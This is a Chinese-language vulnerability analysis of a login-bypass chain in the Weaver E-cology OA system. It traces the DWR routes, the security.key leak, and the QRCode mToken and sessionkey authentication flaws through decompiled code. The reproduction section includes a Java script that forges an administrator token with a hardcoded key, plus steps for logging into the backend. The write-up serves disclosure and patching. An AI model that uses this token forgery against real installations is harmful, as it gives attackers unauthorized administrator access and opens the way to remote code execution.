漏洞简介 泛微E-cology存在登录绕过漏洞,未经身份验证的攻击者可以通过该漏洞绕过身份验证进入后台,从而利用后台RCE漏洞。
影响版本 泛微e-cology
漏洞分析 /dwr/*路由分析 先看到web.xml中,找到目标配置以及类。
最终找到被继承的DwrServlet类
因为使用的是DWR框架,因此看到engine.js,这里表明了要传的参数以及各种方法的调用
重点看这一段,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 dwr.engine._constructRequest = function(batch) { // A quick string to help people that use web log analysers var request = { url:batch.path + batch.mode, body:null }; if (batch.isPoll == true) { request.url += "ReverseAjax.dwr"; } else if (batch.map.callCount == 1) { request.url += batch.map["c0-scriptName"] + "." + batch.map["c0-methodName"] + ".dwr"; } else { request.url += "Multiple." + batch.map.callCount + ".dwr"; } // Play nice with url re-writing var sessionMatch = location.href.match(/jsessionid=([^?]+)/); if (sessionMatch != null) { request.url += ";jsessionid=" + sessionMatch[1]; } var prop; if (batch.httpMethod == "GET") { // Some browsers (Opera/Safari2) seem to fail to convert the callCount value // to a string in the loop below so we do it manually here. batch.map.callCount = "" + batch.map.callCount; request.url += "?"; for (prop in batch.map) { if (typeof batch.map[prop] != "function") { request.url += encodeURIComponent(prop) + "=" + encodeURIComponent(batch.map[prop]) + "&"; } } request.url = request.url.substring(0, request.url.length - 1); } else { // PERFORMANCE: for iframe mode this is thrown away. request.body = ""; for (prop in batch.map) { if (typeof batch.map[prop] != "function") { request.body += prop + "=" + batch.map[prop] + dwr.engine._postSeperator; } } request.body = dwr.engine._contentRewriteHandler(request.body); } request.url = dwr.engine._urlRewriteHandler(request.url); return request; };
这里说明了需要传入的参数有c0-scriptName,c0-methodName,这俩个参数一个是代表调用的类另一个代表调用的方法,并且可以看到batch.map.callCount == 1时调用一个方法,将直接依据这俩个参数进行拼接操作,除此之外还有c0-id这个参数,这是用于标识这个调用的编号,是数字就行。
第一步、泄露security.key分析 他的路由规则是属于/dwr/*的,在DwrServlet的doPost处打一个断点进行调试。
步入processor.handle,这是一个http请求分发处理器的一个操作。
一直过到分发完成,进入handler.handle,这是远程调用执行的一个方法。
继续步入到remoter.execute中一直跟就行,随后看到execute有一个 创建新对象的操作。
然后继续向下跟来到doFilter这里。
真正的反射调用就在这里面,一直步入doFilter,直到进入ExecuteAjaxFilter类中
可以发现这个类的doFilter方法就是一个反射调用的操作,继续步入走到BaseBean#LoadTemplateProp中。
然后继续步入到Prop#LoadTemplateProp中,这里调用了properties文件,在c:\ec\ecology\WEB-INF\prop\mobilemode.properties中获取到了security.key。
第二步、sessionKey泄露分析 这里使用的是/mobilemode/mobile/server.jsp这个jsp,路由就是jsp文件路径,找到server.jsp
这个jsp文件的作用是通过反射来调用com.api.mobilemode.*这里面的类,传入参数invoker,这个参数就是需要反射的类,要求以com.api.mobilemode开头。
当反射调用构造函数后,会执行execute_proxy()方法,这个方法是位于BaseMobileAction父类的父类MobileAction类中
他会调用当前类execute()方法,也就是BaseMobileAction#execute方法。
可以发现调用了getAction方法,他同样位于MobileAction类中。
他会接收一个action参数,并返回,回到BaseMobileAction#execute方法,当获取了action后,这个方法会根据action参数动态执行带有@ActionMapping注解的方法。
分析完反射后看到com.api.mobilemode.web.mobile.service.MobileEntranceAction#getAppMeta方法。
这个方法接收了几个参数,mToken,mTokenFrom,appid,appHomepageId。
其中mToken和mTokenFrom的验证在getTokenKey()方法中。
这里对其进行解密,解密的调用有一点小长。
其中getDecrypt是用来判断解密方式的,这里是AES解密。
然后调用AES解密进行解密操作。
AES解密完成之后应该为uid;appid/homepageId;timestamp,这个格式,其中uid=1就代表为系统管理员,第二个参数和url中传入的appid或者homepageId中的一个相同即可,timestamp就是当前时间的时间戳。
这里使用的是二维码登录,也就是mTokenFrom=QRCode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (!"QRCode".equals(var2)) { throw new MobileModeException("mTokenFrom is empty or unrecognized"); } String[] var8 = var4.split(";"); if (var8.length != 3) { throw new MobileModeException("Illegal mToken: " + var1); } int var9 = Util.getIntValue(var8[0], -1); int var10 = Util.getIntValue(var8[1], -1); long var11 = (long)Util.getDoubleValue(var8[2], -1.0); if (var9 == -1 || var10 == -1 || var11 == -1L) { throw new MobileModeException("Illegal mToken: " + var1); } if (Util.getIntValue(var7) != var10 && Util.getIntValue(var6) != var10) { throw new MobileModeException("Mismatched mToken: " + var1); } String var13 = String.valueOf(var9); long var14 = 600000L; if (var11 + var14 < System.currentTimeMillis()) { throw new MobileModeException("二维码已过期"); } this.user = var5.getUserById(Util.getIntValue(var13)); }
这里二维码验证支持匿名访问,因此导致了SessionKey的泄露。
第三步、使用SessionKey登录后台 看到weaver.file.ImgFileDownload类,其中的doGet方法。
这个方法前面有很长一段身份验证,主要看sessionid这段代码,当前面都不成功时,就会使用sessionid进行验证。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { String var3 = Util.null2String(var1.getParameter("userid")); int var4 = 0; RecordSet var5 = new RecordSet(); var5.writeLog("ImgFileDownload useridRandom=" + var3); OdocFileUtil var6 = new OdocFileUtil(); try { var4 = Util.getIntValue(OdocFileUtil.changeBase64ToString(var3), -1); } catch (Exception var45) { var5.writeLog("ImgFileDownload useridRandom 解密异常"); } if (var4 < 0) { var5.executeQuery("select userid from OdocimgfiledownloadParam where uuid= ?", new Object[]{var3}); if (var5.next()) { var4 = Util.getIntValue(var5.getString("userid"), -1); } else { var4 = Util.getIntValue(var1.getParameter("userid"), -1); } } User var7 = HrmUserVarify.getUser(var1, var2); String var9; String var10; if (null == var7) { AuthService var8 = new AuthService(); var9 = ""; var10 = var1.getQueryString(); String[] var11 = StringUtils.split(var10, '&'); if (var11 != null) { for(int var12 = 0; var12 < var11.length; ++var12) { String[] var13 = StringUtils.split(var11[var12], '='); if (var13 != null && var13.length >= 2 && "sessionkey".equals(var13[0])) { var9 = var13[1]; break; } } } try { var7 = var8.getCurrUser(var9); } catch (Exception var44) { var44.printStackTrace(); } if (var7 == null) { this.baseBean.writeLog("未查询到当前登录用户!"); var2.sendRedirect("/notice/noright.jsp"); return; } var1.getSession(true).setAttribute("weaver_user@bean", var7); } ConnStatement var50 = new ConnStatement();
当前面身份验证不成功时,会获取整个 URL 查询串并拆分成键值对,随后遍历所有参数,找到 sessionkey=xxx 形式的参数进行身份验证,验证成功后会将当前用户写入session供后续系统访问用户信息。
漏洞复现 获取security.key
将security.key作为密钥进行加密,加密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example; import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.spec.SecretKeySpec; import javax.xml.bind.DatatypeConverter; public class Main { public static String encrypt(String str, String str2) { try { KeyGenerator keyGenerator = KeyGenerator.getInstance("AES"); SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG"); secureRandom.setSeed(str2.getBytes()); keyGenerator.init(128, secureRandom); SecretKeySpec secretKeySpec = new SecretKeySpec(keyGenerator.generateKey().getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(1, secretKeySpec); return DatatypeConverter.printHexBinary(cipher.doFinal(str.getBytes())); } catch (Exception e) { e.printStackTrace(); return""; } } public static void main(String[] args) { System.out.println(encrypt("1;2;"+System.currentTimeMillis(),"8d477021-1a02-4b")); } }
将加密后的密钥作为mToken进行传入,走二维码验证获取sessionKey。
获取到sessionKey后,使用sessionKey登录后台
漏洞修复 更新到最新版本:https://www.weaver.com.cn/